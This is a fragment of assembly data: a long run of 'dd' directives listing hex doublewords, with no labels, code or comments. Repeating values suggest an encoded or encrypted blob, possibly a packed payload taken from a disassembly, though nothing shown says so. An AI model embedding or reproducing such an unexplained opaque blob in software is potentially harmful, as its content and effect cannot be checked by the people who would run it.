		dd 0B5FE089Ch, 2AE405DBh, 0E500CA0h, 969169EFh,	3D156610h
		dd 32156A00h, 34936944h, 3D156622h, 3215669Fh, 0D9299388h
		dd 33AEE24Bh, 0BE1A6622h, 32156610h, 35FC0771h,	0AF156644h
		dd 0BECF589Ah, 52D60903h, 3DEBEDEEh, 6074AEF3h,	3214DF73h
		dd 0F89C6611h, 0B8E767D1h, 38FC3C5Eh, 39156622h, 0AB26A6CCh
		dd 4C3FB286h, 6EA33488h, 0CC33A0A2h, 15A536DFh,	0F2138648h
		dd 0FAEB65A4h, 0F43D3C0Eh, 26D3E649h, 0DB4F95A8h, 32156654h
		dd 3889FAECh, 83470873h, 260C598h, 97278037h, 3D959DA2h
		dd 0CDEAF694h, 3E946977h, 3D156644h, 321560A8h,	32916911h
		dd 63156688h, 0F99C97CDh, 0B3316AA9h, 321562D5h, 35A10688h
		dd 490C0E25h, 269C6622h, 3213DC35h, 0E1146688h,	32108F1Eh
		dd 13F36622h, 6213C1C5h, 32156430h, 60E56744h, 32156698h
		dd 31D76711h, 0C74D3C92h, 3215FAADh, 44EA9A22h,	1609ED10h
		dd 0CE11A20Bh, 3DEE9DC7h, 32159FA6h, 52740611h,	0B8B9A308h
		dd 0DE9607B7h, 1621EF26h, 8A73064Ah, 0D494D2D3h, 6270716Fh
		dd 369D6943h, 52156611h, 6274A003h, 321567FCh, 6D456322h
		dd 0C2146F7Ah, 594A36A5h, 6A0D654Dh, 34FD06DBh,	5D156611h
		dd 0EE874C08h, 32048F0Fh, 0B5856622h, 0A94B616Fh, 178AE81Ch
		dd 0A0E7A191h, 6A7F1556h, 5A74BF9Ah, 32156BF9h,	8C3152CDh
		dd 32156627h, 0DB4B9510h, 32156682h, 75B2ADE5h,	2F707A64h
		dd 0B41AEE91h, 32156689h, 0CC828FBDh, 527599DDh, 32156FF8h
		dd 0C0680688h, 7A674CA4h, 851A46C2h, 8B7307C0h,	3D74B73Ch
		dd 0C71438F2h, 321576CBh, 5872B611h, 0DB5573EEh, 9AB080A8h
		dd 0DD44D892h, 1CFEE510h, 0CC4EE287h, 547599BBh, 3D8B6F9Ch
		dd 0DB74BCA6h, 321566AAh, 336BE6B1h, 709069DCh,	3DEA99EFh
		dd 3215770Fh, 32198F44h, 8BAA6622h, 0A190C857h,	0B1FAA59Eh
		dd 0D9FC4C3Dh, 0CBEA99DEh, 0B3F0EF44h, 3215624Dh, 36F8E744h
		dd 0B5156622h, 0BB49423Dh, 34FC42BCh, 0F156644h, 5C9F35E2h
		dd 0D49C30FBh, 3211A009h, 0DC946644h, 32156626h, 6E315296h
		dd 52316A01h, 3213E64Bh, 0E8946622h, 4A5C04Ah, 5196E537h
		dd 0BB420775h, 36D2E7C5h, 0B3156611h, 32156267h, 1629E144h
		dd 1609EF7Eh, 321561F8h, 75003188h, 0E5056300h,	0B3F3EF74h
		dd 321562D7h, 36FBE588h, 6E3152C3h, 3D315AABh, 32156B9Ah
		dd 321D8F88h, 8C9F6644h, 6CF2FBA9h, 22FC6FEAh, 7E156688h
		dd 5F8849Eh, 0F6B7C670h, 0EBA782B1h, 3EDEBC8h, 0CEB99E84h
		dd 0F59D3573h, 0BA4E9F99h, 60753F43h, 3215E84Bh, 0B34E6622h
		dd 9A36A9CFh, 0DE9607D0h, 1611EF40h, 0F1359692h, 0C9959E49h
		dd 819169F8h, 52156641h, 32156CCAh, 0E67F6B11h,	0F2E8E25Eh
		dd 88580B57h, 42BDA840h, 3D290749h, 32E4E287h, 3D756644h
		dd 321567AEh, 851A9A11h, 0DB290773h, 396BE24Bh,	39FC6622h
		dd 52156611h, 0D5A6727h, 0A25EFD17h, 0D92979CEh, 229DE21Eh
		dd 3DED6688h, 321560CCh, 69440622h, 0E740771h, 8691696Bh
		dd 3D156647h, 321567A5h, 22FC9A11h, 0DE156688h,	0ADF4302Ch
		dd 6520457Ch, 28F5648Fh, 0E874D40h, 0C49169A6h,	3D156633h
		dd 32156798h, 0E9E9388h, 0D59C3160h, 3211A1A3h,	0F5966611h
		dd 1629E18Ch, 32058F18h, 0CFD6622h, 54843A1Bh, 81BCBE8Ah
		dd 8C6BEA22h, 39FCA0B5h, 3E156611h, 47EEFC14h, 0F6E4E5Ch
		dd 2E9EFE90h, 0D79C3335h, 3211A309h, 0F7946644h, 32156626h
		dd 6E314A96h, 1619ED74h, 0B3F2EF13h, 321562E5h,	36D2E711h
		dd 0B5156688h, 3D494278h, 321567A4h, 69E9E11h, 0D29C36ACh
		dd 32156241h, 36D5E522h, 6E316296h, 0F8AA69E8h,	0F5ECA525h
		dd 29B396A7h, 32156017h, 8A459A88h, 32156644h, 2A9F9623h
		dd 0B131629Ah, 3DE9624Ch, 32156CC0h, 0B51A0622h, 32156611h
		dd 637407E8h, 0F39545F5h, 85460047h, 54EC5669h,	6BDE46D3h
		dd 32156DADh, 9F536022h, 0D929DE2Ah, 5A68C065h,	3D959DC4h
		dd 0CDEA43A7h, 339369EEh, 0CB156688h, 0B6CAE624h, 32156ECAh
		dd 0C863E911h, 261BBF10h, 0C9AA69A5h, 8B44077Ah, 32156610h
		dd 0DB4CA8A1h, 32156656h, 0F7E609E8h, 0E98AA27Eh, 0C4F5E807h
		dd 166049AFh, 0B79EBCCDh, 34014848h, 32156061h,	530E4944h
		dd 0CAEF58FAh, 1870F39Ah, 8A75609Ch, 3A99F7F8h,	0A125C9Ch
		dd 52750744h, 0CF7E7EEh, 0BBCCE7EBh, 534EB24Dh,	7DBE777h
		dd 0BB470798h, 0E49C30B6h, 684B95ABh, 3214EE1Eh, 63EC6688h
		dd 321560FDh, 0C9D6E722h, 332E8D06h, 0C9FEE743h, 6B2E8D53h
		dd 34FC0642h, 0D8156611h, 0D2345CA7h, 3CFC0707h, 7E156622h
		dd 98A7C181h, 1E268373h, 9C3D3FAh, 644707A9h, 321564AFh
		dd 6CE7EF88h, 28169445h, 0EA2E9378h, 3208E41Eh,	3DFC6688h
		dd 77156644h, 0FCD4343Ch, 9D011ACBh, 9ACBC2FDh,	0E82EBF87h
		dd 0CC21E02Dh, 0B3ED99EEh, 152F604Bh, 31FEE717h, 1B4E5632h
		dd 31D6E7EAh, 0B34E5698h, 152F60AFh, 82759E71h,	0CCAA698Bh
		dd 34A833E9h, 0B3156644h, 0C86411E1h, 0B3FE4F25h, 0C8641163h
		dd 0DA753B70h, 32156630h, 3FFCB53Fh, 4BEB255Eh,	0C2BA4F5Bh
		dd 0CD0C7204h, 0E7959B72h, 54743C37h, 259969E9h, 52156622h
		dd 0DB3BBE91h, 32156685h, 4337229Ah, 6C5ADC5Dh,	0BEE6EE42h
		dd 9973075Dh, 0E9F4E624h, 0E5A26942h, 5374B19Ah, 369E35D8h
		dd 36D1E760h, 69156622h, 0ECAA6971h, 32128FDEh,	10EA6644h
		dd 276D6D88h, 52743973h, 538EA908h, 3FFC06EFh, 0E8156622h
		dd 2E4820A7h, 0F61ACE42h, 599A187Bh, 32156CCAh,	0EC9ACD11h
		dd 3DE33AA9h, 0DB5A6806h, 32156636h, 0F56CF0FAh, 0ED8E912Eh
		dd 56E86605h, 5F39BE6Dh, 0BC52F9F1h, 0DE9407D3h, 32156640h
		dd 8A3162ABh, 32156615h, 524DA089h, 73AAEDF5h, 535D37BBh
		dd 0DB315A98h, 32156698h, 0F2637360h, 24E25D30h, 0FEE1E24Eh
		dd 9375DE87h, 3E3112CDh, 5BA0EFD7h, 0DB137234h,	32156685h
		dd 0A964604Fh, 0B75DABA3h, 769B0D9Ch, 162199DAh, 36D1E71Bh
		dd 0DB156622h, 32156616h, 0ED8B6C98h, 0CD65FBAEh, 0B34E4216h
		dd 321562D5h, 0C99E0688h, 1619ED25h, 0B3F6EF71h, 321562D2h
		dd 36D6E588h, 6E317AC3h, 32156ECBh, 0A5275E11h,	0EF13B9A2h
		dd 162199E9h, 36D1E77Ch, 0DB156611h, 3215669Ah,	171F1723h
		dd 0BAB21070h, 5BAAE126h, 9104632Fh, 0BB45B700h, 321163C2h
		dd 88476611h, 3215668Ch, 0B54FB645h, 52494226h,	598532AEh
		dd 0C29E00C4h, 0EDEA8F25h, 0F5E999DDh, 29B39694h, 3215648Eh
		dd 321B8F44h, 0FF556622h, 87A50380h, 28D548A0h,	71A08B6Ch
		dd 0E9AA3174h, 330D454Bh, 6D1142F4h, 0E9FEE71Fh, 0C70D4578h
		dd 521BD01Eh, 32157561h, 9F489744h, 0A85785E2h,	348FCF70h
		dd 54A7CDAAh, 0A7E13DE9h, 69740672h, 0B2ECE670h, 3256E587h
		dd 0B9756644h, 0F0AA69E3h, 0A83370h, 330FD584h,	0F9143BAFh
		dd 3E278DA3h, 3AFC7CA2h, 0AA156688h, 295D35Ch, 60B85536h
		dd 0CDEA99ABh, 68C64F77h, 359669BCh, 3D156622h,	32156792h
		dd 47FC9F88h, 52156644h, 61450043h, 0E5E345A6h,	0C4178148h
		dd 37FAA693h, 0B263A1A2h, 0CA9D1DFEh, 54D44ED3h, 32078F1Ch
		dd 0ECE36622h, 128D6D9Bh, 0FC3F22AEh, 4F486769h, 8ECA868Fh
		dd 0FF248F20h, 0EFE28FB9h, 0CBE08FC3h, 324B694Ah, 1621EF11h
		dd 32159936h, 6CE44744h, 6AE93442h, 8B4407E4h, 50A651A5h
		dd 5DA697C5h, 0F93C2B96h
		dd 0B3DE4F48h, 354DF84Bh, 3397696Bh, 0CB156622h, 1C4CE39Ah
		dd 38FC609Ch, 0C156644h, 177D570Fh, 2F896399h, 5780ED39h
		dd 0DB13726Eh, 3215662Ch, 0BDE496E1h, 0CEA1EBCCh, 0F12F27DDh
		dd 8F967411h, 340176A0h, 0EF916989h, 0DB156640h, 32156629h
		dd 26030C66h, 0C427B781h, 0B63F651h, 0F79769E1h, 3D156615h
		dd 3215610Fh, 33986944h, 0C7156622h, 0B01AB528h, 0CDEA9C76h
		dd 32156DADh, 3EA3C622h, 47EEFC8Dh, 0F6E4E90h, 3211FDADh
		dd 399C6922h, 0DB156611h, 3215668Eh, 49095A7Fh,	0B7D23993h
		dd 340EC0E1h, 3215668Ah, 30966924h, 52156622h, 3FE7E770h
		dd 5352E6F6h, 1621E712h, 116668E7h, 0EFAF344Ah,	0F32C87F5h
		dd 705765A6h, 323084A3h, 0C0947E48h, 76187077h,	0C5F3A4C5h
		dd 0E124B14Ch, 3395694Bh, 0CA156688h, 0CB1BD04Bh, 3D959FA2h
		dd 32150592h, 321E8F88h, 46926644h, 0A18D82F4h,	868F21AAh
		dd 2ED6E79Bh, 0B37C9E24h, 0B50BC4C9h, 0B3DE6738h, 0B50BC44Bh
		dd 2EFEE76Dh, 0DB7C9E42h, 32156605h, 9D42AA94h,	0CF6ACCDAh
		dd 5251FFBh, 8D2A6D2Eh,	0ED7CE119h, 32370B2Ch, 1609EF22h
		dd 693162EEh, 0B1AA067Dh, 53185335h, 32146DCBh,	0E39E0611h
		dd 53E3D987h, 0CDA73422h, 0B973B70Ah, 0F6944205h, 3215668Ah
		dd 32156DADh, 8A43C722h, 2D1C4C80h, 2A169971h, 0B3733024h
		dd 6B7E93D2h, 32156BF8h, 0B915D988h, 6B188C2Bh,	0FFAA6D9Dh
		dd 5A748937h, 32156688h, 0C7314AC5h, 1B406E01h,	3694421Dh
		dd 3A3693ACh, 0B11A3F11h, 3215662Ah, 0F0940071h, 53E0C3FEh
		dd 0C4AC3717h, 0B31B351Dh, 0A37725E0h, 0DBD4E7E6h, 0E3568855h
		dd 60F4E7CBh, 0B35ECD62h, 0AC5B6A79h, 6BDEEF67h, 7CFEE769h
		dd 1374F06Dh, 0DB753D51h, 32156650h, 0BD32FCA2h, 0A7CE5B0Bh
		dd 602753BCh, 0DBA43B69h, 0B8A72141h, 321574F8h, 0A85F7A88h
		dd 0F9297E9Dh, 0A2C2EF12h, 44545B09h, 534CE6DCh, 22298DC5h
		dd 0F93C6A1Eh, 6D65DE41h, 831818D7h, 7A1ADA76h,	0F31D8EE3h
		dd 721064F1h, 331F5A9Ah, 3AFC3E87h, 56156622h, 9A3106C4h
		dd 3D56CD91h, 321569C5h, 321F8F22h, 8FF06611h, 9FA83C96h
		dd 0A3CC0364h, 1C4CE3A9h, 3D756005h, 3215740Dh,	32188F44h
		dd 6AE06622h, 0AA043E52h, 0AB5583BEh, 3DFFF909h, 321565AAh
		dd 0E9A26911h, 5780EDE9h, 3D13726Eh, 321577ADh,	39956911h
		dd 0DB156688h, 32156642h, 0C3FEF642h, 8F9607A1h, 34017639h
		dd 4B916945h, 0DB156620h, 32156605h, 5333C1BCh,	3E40BDB9h
		dd 87E99667h, 0E4F192CDh, 375F2F9Ch, 8B739A24h,	9744992h
		dd 49769C9h, 3D156688h,	32156ECAh, 30926922h, 52156611h
		dd 3DC65FE9h, 0CDEDEFC2h, 321B8FDDh, 0B4C86611h, 38D5D899h
		dd 427FE7EAh, 0F2596F5Bh, 3212E71Eh, 0B81A6688h, 32156645h
		dd 0CDAE35D7h, 33EA99EEh, 0B91A3D56h, 32156648h, 3213E22Dh
		dd 0B31A6611h, 32156688h, 0DAD506F4h, 1EE16A21h, 0C2A3344Bh
		dd 0C495B07Eh, 68E56605h, 35FC9916h, 0CD156611h, 0E4DB630Ah
		dd 52BF478Ah, 53C3EDDEh, 321574F8h, 97D6B288h, 89140527h
		dd 2790462Fh, 0D0B046FCh, 0B15152F6h, 2E9C62A8h, 3215DD06h
		dd 0C1146611h, 3D4E6D02h, 32156FC5h, 6D450622h,	17FCE777h
		dd 62460782h, 0DED544F0h, 0B2D99827h, 0D19DE6FDh, 69CDEED0h
		dd 9CA734B1h, 0B23884A2h, 814678DBh, 0F2CE90F6h, 0E9E364A7h
		dd 0B28F95A2h, 0E815F7FAh, 68C446D3h, 3219E84Bh, 0BA1A6622h
		dd 32156617h, 3215EA87h, 0FA1D6644h, 3DFCCCDEh,	6A156611h
		dd 0B605DAC6h, 0DC2A5243h, 0BC23C519h, 0F1944678h, 585F1091h
		dd 8F409D6Dh, 585F103Bh, 3D488D38h, 32157705h, 38FC0644h
		dd 0E1156622h, 0D84B92DFh, 50CEF29Eh, 197D0791h, 0BB156662h
		dd 36AD4215h, 1B156688h, 3E93E87h, 3D657FAh, 32058FC9h
		dd 0E1AF6688h, 0F624D7B1h, 6F8BFECBh, 29D0B135h, 0DBBE5CCFh
		dd 32156648h, 0B08E7A7Eh, 0AE811798h, 860ED20Ah, 3217DF15h
		dd 0DC946622h, 3DD44181h, 0F494A889h, 3DD441D4h, 0B81A067Bh
		dd 32156610h, 879C0770h, 3401432Dh, 31966942h, 54156611h
		dd 0F5749503h, 2605D7C1h, 32156724h, 0BB439F11h, 36AA316Eh
		dd 33156644h, 0F49639DCh, 1621E115h, 26FC06D4h,	36156644h
		dd 0CBB6D2C8h, 0E109722Ah, 707337FFh, 3D070A7Bh, 53CCDB0Ch
		dd 32156CF8h, 0F7DA8F88h, 5A541107h, 0CDD55D77h, 0B14E4225h
		dd 0CDEC624Ch, 0B14C4270h, 0CE7562E6h, 53E5ED77h, 0B34F32DAh
		dd 32156286h, 36D7E522h, 6E317296h, 3206E587h, 3CFC6644h
		dd 0FB156622h, 6504B7B7h, 0B31FD392h, 0FCA8EAh,	0D39C375Ch
		dd 3211A790h, 0F3966688h, 16195540h, 1316A13h, 0CA49421Dh
		dd 0CDCC8261h, 0D39F06BBh, 3210E42Dh, 85AC6611h, 5337BF08h
		dd 0CDEADF15h, 0FC1499DDh, 0E3950648h, 834407FDh, 0B9DDEEADh
		dd 0F696422Eh, 26966915h, 0DB156688h, 3215664Bh, 0FA25424Ah
		dd 0D48CBD50h, 0DEFC140h, 986E54D0h, 0BA1A9E42h, 32156613h
		dd 6474B903h, 0B33162CFh, 321562E6h, 88479311h,	53331D4Eh
		dd 1B4FB66Dh, 49D363DAh, 38FC0737h, 0CB156688h,	0B96D17E1h
		dd 0B85EA325h, 36A83307h, 1F156688h, 3EC37495h,	0E3108E0Bh
		dd 6F19B003h, 32156F61h, 0FAE3A944h, 0F90E2FF5h, 0BB1A4E70h
		dd 32156689h, 0B11ACDBDh, 32156625h, 3214EB1Eh,	65E96688h
		dd 0F59481CDh, 32156626h, 0B511A192h, 169E42B4h, 0E8940660h
		dd 3AF4695Eh, 3213E71Eh, 0E1946688h, 706C378Eh,	1609ED43h
		dd 0B3F2EF46h, 3215624Fh, 36D2E544h, 6E315AA5h,	1619EDE4h
		dd 0B3F7EFDAh, 32156286h, 36D7E722h, 0B5156611h, 0DB49429Ch
		dd 3215664Eh, 79949728h, 1B1C5AE7h, 3AFCF8E9h, 0D2156644h
		dd 0C8ADFF47h, 0CD810E5Bh, 0B34B42BCh, 32156280h, 32048F22h
		dd 85856611h, 6A5F2CE4h, 0E147566Ah, 4118520Fh,	622660BCh
		dd 36108601h, 67156644h, 3215629Fh, 6FFD6711h, 6E31620Fh
		dd 3218E14Bh, 3AFC6622h, 5A156611h, 0B67F7B7Fh,	0DBA6B8D5h
		dd 0CDEABD4Eh, 26FC9F71h, 4D156688h, 0F48B152Ch, 0E10E9786h
		dd 9B35E755h, 0E6FC3E63h, 5398D3EBh, 94E5E3E5h,	3210600Ah
		dd 23FC6688h, 0B4156644h, 0AF2B6310h, 0F8EE076Dh, 850FEF55h
		dd 5887A6B2h, 0BBE5EF72h, 1611EDD2h, 3211A209h,	0BF1A6644h
		dd 3215662Ah, 3217E71Eh, 53756688h, 321D8F24h, 9CE96622h
		dd 4A906332h, 50AE2E77h, 5360EBECh, 3211D975h, 0C9146611h
		dd 0B3315A03h, 32156280h, 0DE9F0622h, 6374A9A4h, 32156631h
		dd 31E46744h, 1619ED3Bh, 0DB11A292h, 32156683h,	14D70F14h
		dd 6F2728B4h, 523F4FC1h, 3DD6E7EEh, 321D8F21h, 44816622h
		dd 619AB0B0h, 0B974EB23h, 263B3FC1h, 32048F24h,	0D2CB6611h
		dd 0D19D85EEh, 1EBB294Eh, 0FBB7C949h, 0B9C4C0D8h, 263F031Dh
		dd 8B449A42h, 0CDEA99DDh, 3D4CA810h, 32157007h,	3BFD0644h
		dd 0B4156622h, 90DB3F6Bh, 2720CFBAh, 50A6DE1Ah,	0B1747D19h
		dd 260AE7ACh, 0B61A678Eh, 321561D7h, 321B8E42h,	3F2A6611h
		dd 4C1A84D4h, 0F3366C9Bh, 6AD59A8Fh, 321572F8h,	0E1D87C88h
		dd 9BE39872h, 0E0647933h, 0C4A16909h, 9A75CFDFh, 0B01A38A1h
		dd 32156620h, 9743947h,	73976950h, 52156644h, 3206E92Dh
		dd 3FFD6611h, 1D156688h, 9269408Ch, 1949028Eh, 0ADCADF87h
		dd 0DCA734D1h, 0E82E071Bh, 336AE02Dh, 0B51A6611h, 3215669Ch
		dd 321BEE4Bh, 3BFC6622h
		dd 0E5156611h, 0EE1Dh, 893E09B6h, 177CD3ABh, 0BD1A6005h
		dd 32156683h, 321560ADh, 4F260222h, 0B9BF3742h,	29B39615h
		dd 2A986942h, 0DB156622h, 32156602h, 3BE8C9C4h,	0F7DB146Ch
		dd 0C51BDC7Eh, 2C380BE2h, 0CA485A82h, 3E310AC5h, 605F506Eh
		dd 3E313A10h, 459D9DFh,	4E14340Eh, 524A7606h, 53D48F91h
		dd 34A08F74h, 0BD1A6644h, 3215662Ah, 0E0940071h, 53EC736Fh
		dd 65315ACFh, 0F59481ABh, 32156615h, 0B511A10Bh, 3D494278h
		dd 321561A7h, 339D6911h, 0CA156688h, 2D94E383h,	32146036h
		dd 3DE96611h, 32156D07h, 0B9730644h, 329B69F8h,	53156611h
		dd 61317A03h, 0F19485CDh, 32156626h, 3211A590h,	2E926688h
		dd 0B01A3A60h, 32156623h, 1619EDE4h, 0B3F2EFDFh, 32156283h
		dd 36D2E722h, 0B5156611h, 0DB4942B4h, 32156641h, 66DE66DDh
		dd 1621ED56h, 0B3F6EFDBh, 32156287h, 36D6E522h,	6E317A96h
		dd 32198FE8h, 79726644h, 4BBF2ECEh, 33865832h, 0E09410C3h
		dd 0CD58A0h, 0D59C3143h, 3211A190h, 0F5966688h,	46EA3140h
		dd 0BD4A6206h, 3D494215h, 32157A0Dh, 249B6944h,	0DB156622h
		dd 32156600h, 0D43F6AECh, 58CEFADFh, 6A084B30h,	0E4840CAh
		dd 0E7B68FD6h, 0B71A99BBh, 32156633h, 32156AF8h, 409EF88h
		dd 8A97DED5h, 0A29F133Fh, 83A8E504h, 33137298h,	37B4E24Bh
		dd 19EC6622h, 263B3F8Ch, 8C73068Eh, 38FD5AEFh, 0A7156622h
		dd 3786440Fh, 0CB830D3Dh, 0A9D6E6B4h, 0BF9E077Ch, 34017780h
		dd 32108FE8h, 0DC886644h, 60FF74CBh, 3215EE1Eh,	534E6688h
		dd 2D3F8FC5h, 0F39449F0h, 3DF5772Dh, 0DB94BF89h, 3DF57778h
		dd 2D3FA7A3h, 0B91A49C3h, 32156689h, 23FD06BDh,	9C156622h
		dd 18FCB052h, 902A3E39h, 6805B47Dh, 843D4B5Dh, 39319490h
		dd 824A5233h, 0F3940746h, 6AB40987h, 35DEA790h,	0CB3C0EF5h
		dd 35DE8FC5h, 0DB940E5Fh, 6AB409B4h, 3F490E71h,	369C6644h
		dd 3210DE06h, 0F33C6611h, 80479AD0h, 0E79D37ADh, 684C8EAAh
		dd 321575F8h, 0CFBEC588h, 9D264869h, 332E1278h,	304C6032h
		dd 0CB6E4289h, 321B8FEEh, 1DB96622h, 80EA847Dh,	129ACBDAh
		dd 93A79AF3h, 0B94D3772h, 0F696421Dh, 3BFC068Ch, 49156644h
		dd 0CB9B20BBh, 36508E29h, 0C6E5E7EEh, 3DBE07E2h, 321567AAh
		dd 0BB449E11h, 36D4E769h, 0B1156644h, 3E2662E3h, 16195735h
		dd 6E316ABBh, 3213EF4Bh, 3D756622h, 53E9BCA6h, 3218E687h
		dd 0B3756644h, 0F189D1FCh, 0C460D82Dh, 0B974544Dh, 0BB454258h
		dd 321163C2h, 0F2966611h, 1611E18Ch, 33996918h,	0CE156622h
		dd 0DFE7E771h, 0B95C7047h, 3E9E0792h, 0D59C3106h, 3211A190h
		dd 0F5946688h, 32156640h, 6E315AA5h, 3FFD9E71h,	73156688h
		dd 904D78CFh, 9C32B56Eh, 80F47585h, 3215E887h, 534A6644h
		dd 633152A9h, 0F3948798h, 3215668Ch, 3211A7C5h,	3E926622h
		dd 0DB753A35h, 3215668Fh, 2A4CAA7Ah, 0DBFBDC9Eh, 3215661Bh
		dd 0EAC2E74Dh, 4AFB4CA0h, 3D74893Ch, 32157E96h,	32068F88h
		dd 0C2DA6644h, 0D8EF3E24h, 17E14D7Bh, 963C9494h, 1CF28B96h
		dd 0D79C3307h, 3211A390h, 0F7966688h, 46EA3340h, 0BD486206h
		dd 3D494215h, 3215770Fh, 32198F44h, 0EB2F6622h,	51FA4569h
		dd 2E0562A5h, 0BF1AEE4Bh, 32156625h, 3214E51Eh,	0DBEC6688h
		dd 0CDEAB014h, 3209ED2Dh, 0B21A6611h, 3215669Eh, 321577ADh
		dd 93944122h, 0B182F7FEh, 90DA56E9h, 7306926Dh,	0B7D298CEh
		dd 340EC0E1h, 3215668Ah, 3214E54Bh, 3DE96622h, 32157E9Ah
		dd 32068F88h, 0FF096644h, 0AA8F4597h, 4422C768h, 0AF2F253Ah
		dd 4D3B4704h, 2E9E3073h, 36D1E535h, 3203E587h, 0BD1A6644h
		dd 32156632h, 32156DF8h, 82654D88h, 85259F12h, 6C28C92Eh
		dd 0CA1BD01Eh, 3219EB87h, 0B51A6644h, 32156624h, 3215E61Eh
		dd 0CB956688h, 7B9669C4h, 0CE156622h, 4D46DB44h, 0C7946EF7h
		dd 64D2102Ah, 0B31D8BE3h, 0FEBC41E4h, 6FFE67DDh, 0D994AD45h
		dd 6787770Ch, 32156CF8h, 0A1F0FD88h, 4D574032h,	60D09F27h
		dd 321567ABh, 68C66788h, 32DE8FBDh, 64756622h, 6D47064Eh
		dd 53743FD9h, 0F2E7D517h, 0D99565C1h, 0B2D698CBh, 0EB3D2E7Bh
		dd 0B1317ACFh, 23FC62E6h, 0E3156611h, 99DF5797h, 7E10DE1Eh
		dd 8051089Eh, 0F81F72E8h, 32157661h, 73C9F644h,	0E0FFD4C5h
		dd 0FAFCB2F2h, 47501DD8h, 32150E86h, 3E3C6622h,	1619ED35h
		dd 3D11A20Bh, 32157FC8h, 32018F22h, 520C6611h, 50042470h
		dd 0D1119027h, 285DDA44h, 0CD0B2E31h, 5A405C16h, 321566BBh
		dd 6FFC477Fh, 321572F8h, 0C08C9988h, 0C2C7BFC0h, 5CA18101h
		dd 971EBBFDh, 0E0E82873h, 0E4D6E7A8h, 0B3159E01h, 876070D2h
		dd 0B3DE4FFCh, 876070AFh, 0E4FEE756h, 0DB159E32h, 32156699h
		dd 0C7B705EAh, 0F73776A8h, 0DA45D969h, 1F82CDA5h, 6B90EDD4h
		dd 0CE13720Ch, 1870F39Ah, 5475609Ch, 87E086FAh,	35FC07BEh
		dd 0DBEA99EBh, 3215668Eh, 99652ADDh, 3D7598CAh,	11A4ACA6h
		dd 0C290A1E9h, 30137DE2h, 0CB156622h, 0FAF3447h, 334036FBh
		dd 68114210h, 0FFEE779h, 3D403662h, 32156704h, 841A9F44h
		dd 0B973062Ch, 0AE5FDDC2h, 0B2746BA6h, 0B11AE6BDh, 32156677h
		dd 321568F8h, 0B6639788h, 61C00F59h, 8399E96Bh,	0B36E031Bh
		dd 893D194Bh, 42FEE765h, 332B7869h, 42D6E7DAh, 0B32B78C3h
		dd 893D19AFh, 8D429E03h, 32156610h, 0CA4A9D89h,	3215DCADh
		dd 20966922h, 0DB156611h, 32156685h, 0A0726EE4h, 9EAFECB5h
		dd 387C4E37h, 0DEA73485h, 0F895A4BAh, 32E7E67Ch, 1A7DA791h
		dd 5AFCE659h, 2297691Eh, 52156622h, 0DB0CAB91h,	3215668Eh
		dd 4334AB94h, 0C5743B9Eh, 0CDFCE5C0h, 32156B61h, 36FE3344h
		dd 0B45054E4h, 0A9A053D8h, 37FC580Dh, 0A6156644h, 0E89CFBEFh
		dd 1516D847h, 0F4941FDFh, 0D247133h, 0F6E88A3h,	0C334DE99h
		dd 0B3315203h, 32156280h, 24926922h, 3D156611h,	32157601h
		dd 321E8F44h, 10C16622h, 12989E30h, 76EA428Dh, 0AAC37B9h
		dd 1B3C2E72h, 0F93C3FDAh, 622DA509h, 54754F0Ch,	52E5139Ah
		dd 8230A391h, 0B97407E7h, 263B3FC1h, 0B71A0624h, 32156613h
		dd 52748A02h, 53CBEDBDh, 1870F3A9h, 0B1E06005h,	2605D735h
		dd 0B61A6742h, 0CDEA904Ah, 320DEC1Eh, 0B11A6688h, 32156656h
		dd 32156BCBh, 0B5E25411h, 2F5CE777h, 1363A98h, 0EA2EE0D0h
		dd 321FE41Eh, 0BED6688h, 0B5936997h, 0C7EA99CEh, 3214D946h
		dd 0CC3C6688h, 3D75061Bh, 321566AEh, 8C730711h,	3D74C0E3h
		dd 321574CEh, 3E986922h, 0DB156611h, 3215668Fh,	848AEF4Ch
		dd 644ECD53h, 51315290h, 0B90A3A8Bh, 0F6964248h, 51E4E726h
		dd 3D0A3A12h, 32156C0Bh, 54A70644h, 3215EF2Dh, 61746611h
		dd 0BD638C33h, 0D2E6E751h, 0E33F857Bh, 7F6E7F2h, 0B31F81B4h
		dd 0B5753487h, 69CC4F3Eh, 0F3949F38h, 15521AEEh, 0B31A06BDh
		dd 32156624h, 0D4CFB090h, 0F4A30A9Ch, 37AD3625h, 0B3156622h
		dd 4B6749D0h, 0B3D44FB6h, 4B6749ADh, 60E03E1Ch,	71A53CA3h
		dd 0E23D528Ch, 3D4F5268h, 321567AAh, 0B61A9F11h, 32156689h
		dd 3D75CCBDh, 321566AFh, 0D5940011h, 374553Ah, 3D4578Ch
		dd 2B9069EAh, 52156611h, 3215E087h, 3EFC6644h, 0B1156622h
		dd 21D4F700h, 0ACE2B514h, 533A44E6h, 3BFC9A89h,	0CAEA99C3h
		dd 32AE35DAh, 0BB156644h, 0C0143DF8h, 0DB4F649Bh, 32156686h
		dd 632EC2C4h, 2F4C2D80h
		dd 0D62BDCFDh, 0DA2988C8h, 3244E24Bh, 0BA1A6622h, 3215661Ah
		dd 32156061h, 61870D44h, 64966E7Eh, 5279E9AFh, 5E9ADEC3h
		dd 0F8382D24h, 1B308D30h, 20DF63E1h, 0DB4B4363h, 32156650h
		dd 3EFE7BDCh, 0E0A42292h, 0A55940D0h, 0B951EB90h, 63E712F1h
		dd 3214F9F8h, 0D3AF0688h, 3D18F653h, 5A74A695h,	32156351h
		dd 3D317A01h, 321567C5h, 0B3439F22h, 2DFE4225h,	644E08BFh
		dd 51313FAh, 0E0F3E710h, 0B319F076h, 0B6774146h, 70F3E72Ch
		dd 0F32D3945h, 0DC946EFFh, 0A3E590F3h, 0DB4B9575h, 3215662Dh
		dd 0AF1BE662h, 5E5FA044h, 604FE32Bh, 62C5CEE7h,	321567A9h
		dd 63E56788h, 321566FDh, 31D46722h, 0DB4D3F08h,	32156698h
		dd 7CD18DAh, 0AEE5C35Ch, 20C28D0Fh, 5A53BDB0h, 3210D812h
		dd 0F1946622h, 72082737h, 0D9949589h, 72082762h, 6845067Ch
		dd 3570DD77h, 0DAA734E9h, 269EB6CCh, 36D1E506h,	3D75CCE4h
		dd 32156C0Eh, 32108F44h, 0ED9E6622h, 65EF9DA0h,	6DE4EDEEh
		dd 0F8D6E725h, 0B37A8E59h, 0C927E8D2h, 0B3EE4FE3h, 0C927E8AFh
		dd 0F8FEE749h, 0DB7A8E6Ah, 32156684h, 41279A73h, 0D238414Ah
		dd 0E40E884Eh, 3211DCDAh, 0E13C6644h, 0B33172A9h, 321562D5h
		dd 61459A88h, 0B33162CFh, 321562E6h, 99E93D11h,	0B31A9FE8h
